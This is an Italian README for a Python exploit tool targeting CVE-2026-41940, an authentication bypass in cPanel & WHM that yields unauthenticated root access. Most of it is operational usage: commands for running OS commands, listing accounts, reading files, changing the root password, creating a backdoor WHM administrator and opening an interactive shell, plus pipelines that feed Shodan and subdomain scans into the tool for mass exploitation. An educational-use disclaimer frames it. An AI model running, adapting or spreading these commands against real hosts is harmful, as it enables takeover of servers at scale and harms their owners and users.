PoC Python che sfrutta CVE-2026-41940, un bypass di autenticazione di cPanel & WHM che consente l'accesso WHM a livello root senza autenticazione, con scansione e comandi shell di post-exploitation.
⚠ Questo strumento è creato esclusivamente per scopi educativi o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.
Uno strumento per sfruttare CVE-2026-41940, un bypass critico dell'autenticazione in cPanel & WHM (CVSS 10.0), che consente ad attaccanti non autenticati di ottenere accesso WHM a livello root iniettando sequenze CRLF nei file di sessione lato server tramite l'header Authorization — senza credenziali richieste.
CVE-2026-41940, in termini generali, viene sfruttato attraverso una falla nel modo in cui il sistema gestisce le sessioni di autenticazione in cPanel/WHM. L'attacco inizia tipicamente con una richiesta normale all'interfaccia di login, dove l'applicazione inizializza prematuramente una sessione prima di validare completamente le credenziali utente. A causa della gestione impropria dell'input relativo alla sessione, alcune strutture di input craftate o inaspettate possono alterare il modo in cui i dati di sessione vengono memorizzati o interpretati dal server.
| Versione | Vulnerabile | Corretta |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/yasouxken/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
Lo strumento richiede che venga specificato un dominio target.
Modalità target singolo:
python cve.py -u https://target1.com:2083
Puoi anche scansionare dal file target.txt(crealo):
python cve.py -l target.txt -t 50 -o result.json
Comandi disponibili:
python cve.py -u https://victim1.com:2083 # scansione target singolo
python cve.py info -u https://victim1.com:2083 # Recupera informazioni di sistema (versione, carico, utilizzo disco).
python cve.py host -u https://victim1.com:2083 # Recupera l'hostname del server target.
# Elenca tutti gli account sul server
python cve.py list -u https://target.com:2087
# Comando OS
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Ottieni info server (hostname, disco, host MySQL)
python cve.py info -u https://target.com:2087
# Cambia password root
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Shell WHM interattiva
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# Da lista scope
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Risultati Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Più fonti combinate
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Dopo un'esecuzione riuscita, puoi aprire una shell WHM interattiva:
python cve.py shell -u
| Comando | Descrizione |
|---|---|
id | Mostra User ID |
hostname | Ottieni hostname del server |
accounts | Elenca tutti gli account utente |
info | Carico, disco, host MySQL, versione |
cat <path> | Leggi contenuto file |
exec <cmd> | Esegui comando OS |
newadmin <user> <pass> | Crea admin WHM backdoor |
passwd <pass> | Cambia password root |
l [path] | Elenca directory |
help | Mostra tutti i comandi |
exit | Esci dalla modalità shell |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL URL target singolo (es. https://host:2087)
-l, --list LIST File con URL (uno per riga)
--hostname HOSTNAME Sovrascrive header Host canonico (auto-rilevato)
Scan:
-t, --threads N Thread concorrenti (default: 10)
--timeout N Timeout richiesta in secondi (default: 15)
--rate-limit N Ritardo tra i target (default: 0)
--force Salta il controllo di rilevamento cPanel
Post-Exploit:
--action ACTION Azione: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS Nuova password root (--action passwd)
--cmd CMD Comando OS (--action cmd/exec)
--new-user USER Nuovo username cPanel (--action adduser)
--new-domain DOMAIN Nuovo dominio cPanel (--action adduser)
Output:
-o, --output FILE Salva i risultati in file JSON
--no-color Disabilita colori ANSI
⚠ Questo strumento è creato esclusivamente per scopi educativi o di bug bounty. L'uso non autorizzato al di fuori di ambienti controllati è severamente vietato.